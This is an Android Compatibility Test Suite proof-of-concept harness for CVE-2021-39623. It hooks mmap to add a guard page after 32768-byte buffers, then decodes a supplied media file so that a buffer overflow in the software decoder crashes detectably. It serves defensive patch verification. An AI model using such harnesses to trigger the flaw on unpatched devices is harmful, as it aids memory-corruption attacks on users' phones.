unplugged-system/cts/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp

100 lines
3.1 KiB
C++

/*
* Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "../includes/common.h"
#include <datasource/DataSourceFactory.h>
#include <dlfcn.h>
#include <gui/SurfaceComposerClient.h>
#include <media/IMediaHTTPService.h>
#include <media/stagefright/InterfaceUtils.h>
#include <media/stagefright/MediaCodecList.h>
#include <media/stagefright/MediaExtractorFactory.h>
#include <media/stagefright/SimpleDecodingSource.h>
#include <sys/mman.h>
typedef void *(*mmap_t)(void *, size_t, int, int, int, off_t);
mmap_t real_mmap = nullptr;
using namespace android;
bool testInProgress = false;
constexpr size_t kTargetBufferSize = 32768;
struct sigaction new_action, old_action;
void sigsegv_handler(int signum, siginfo_t *info, void *context) {
if (testInProgress && info->si_signo == SIGSEGV) {
(*old_action.sa_sigaction)(signum, info, context);
return;
}
exit(EXIT_FAILURE);
}
void *mmap(void *addr, size_t length, int prot, int flags, int fd,
off_t offset) {
real_mmap = (mmap_t)dlsym(RTLD_NEXT, "mmap");
if (!real_mmap) {
exit(EXIT_FAILURE);
}
if (length == kTargetBufferSize) {
char *tmp_ptr = (char *)real_mmap(addr, length + PAGE_SIZE, prot,
flags | MAP_ANONYMOUS, -1, offset);
mprotect(tmp_ptr + length, PAGE_SIZE, PROT_NONE);
return tmp_ptr;
}
return real_mmap(addr, length, prot, flags, fd, offset);
}
int main(int argc, char **argv) {
FAIL_CHECK(argc > 1);
sigemptyset(&new_action.sa_mask);
new_action.sa_flags = SA_SIGINFO;
new_action.sa_sigaction = sigsegv_handler;
sigaction(SIGSEGV, &new_action, &old_action);
sp<DataSource> dataSource = DataSourceFactory::getInstance()->CreateFromURI(
nullptr /* httpService */, argv[1]);
FAIL_CHECK(dataSource);
sp<IMediaExtractor> extractor = MediaExtractorFactory::Create(dataSource);
FAIL_CHECK(extractor);
sp<MediaSource> mediaSource =
CreateMediaSourceFromIMediaSource(extractor->getTrack(0));
FAIL_CHECK(mediaSource);
sp<MediaSource> rawSource = SimpleDecodingSource::Create(
mediaSource, MediaCodecList::kPreferSoftwareCodecs, nullptr, nullptr,
false);
FAIL_CHECK(rawSource);
status_t err = rawSource->start();
FAIL_CHECK(err == OK);
MediaSource::ReadOptions options = {};
MediaBufferBase *buffer = nullptr;
testInProgress = true;
rawSource->read(&buffer, &options);
testInProgress = false;
if (buffer) {
buffer->release();
buffer = nullptr;
}
options.clearSeekTo();
options.setSeekTo(0);
rawSource->stop();
return EXIT_SUCCESS;
}